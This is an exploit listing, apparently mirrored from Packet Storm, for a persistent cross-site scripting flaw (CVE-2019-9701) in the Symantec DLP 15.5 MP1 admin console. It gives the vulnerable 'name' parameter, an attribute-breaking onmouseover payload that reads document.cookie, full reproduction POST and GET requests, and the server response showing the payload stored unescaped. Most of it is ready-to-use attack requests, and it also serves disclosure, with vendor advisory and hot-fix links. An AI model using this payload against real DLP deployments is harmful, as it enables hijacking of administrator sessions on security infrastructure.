Exploit for Symantec DLP 15.5 MP1 Cross Site Scripting CVE-2019-9701

## https://sploitus.com/exploit?id=PACKETSTORM:153512
# Exploit Title: Persistent XSS on Symantec DLP <= 15.5 MP1  
# Date: 2019-06-21  
# Exploit Author: Chapman Schleiss  
# Vendor Homepage: https://www.symantec.com/  
# Software Link: https://support.symantec.com/us/en/mysymantec.html  
# Version: <= 15.5 MP1  
# CVE : 2019-9701  
# Advisory-URL: https://support.symantec.com/us/en/article.SYMSA1484.html  
# Hot Fix: https://support.symantec.com/us/en/article.ALERT2664.html  
  
Description  
---------------  
Persistent XSS via 'name' param at  
/ProtectManager/enforce/admin/senderrecipientpatterns/list  
  
  
Payload: ' oNmouseover=prompt(document.domain,document.cookie) )  
Browser: Firefox 64, IE 11  
Date Observed: 15 January 2019  
  
  
Reproduction POST  
-----------------  
POST  
/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/update  
HTTP/1.1  
Host: [snip].com:8443  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)  
Gecko/20100101 Firefox/64.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://  
[snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 558  
Connection: close  
  
name=%27+oNmouseover%3Dprompt%28document.domain%2Cdocument.cookie%29+%29&description=some_text&userPatterns=test%  
40test.com&ipAddresses=192.168.1.1&urlDomains=mail.company.com  
&id=41&version=30  
  
Reproduction GET  
----------------  
GET /ProtectManager/enforce/admin/senderrecipientpatterns/list HTTP/1.1  
Host: [snip].com:8443  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)  
Gecko/20100101 Firefox/64.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://  
[snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30  
Connection: close  
  
Reproduction Response  
---------------------  
<div id="messages-section">  
<div class="message-pane alert-pane">  
<div class="alert-message">  
<div class="yui3-g message-pane-scroll">  
<div class="yui3-u-1-24 message-icon">  
<img src="/ProtectManager/graphics/success_icon.gif" alt="Success" width="19" height="19" />  
</div>  
<div class="yui3-u-11-12 wrapping-text">  
<div id="web-status-message-163" class="message-content"> Recipient pattern '' oNmouseover=prompt(document.domain,document.cookie) )' was saved successfully. </div>  
</div>  
<div class="yui3-u-1-24">  
<div class="message-pane-actions">  
<a href="#" class="message-back-to-element hidden action-icon">  
<img src="/ProtectManager/graphics/general/scroll_back_16.png" alt="" title="Show affected object"/>  
</a>  
<a href="#" class="message-pane-close action-icon">  
<img src="/ProtectManager/graphics/general/cancel_blue_16.png" alt="" title="Close message bar"/>  
</a>  
</div>  
</div>  
</div>  
</div>  
</div>  
</div>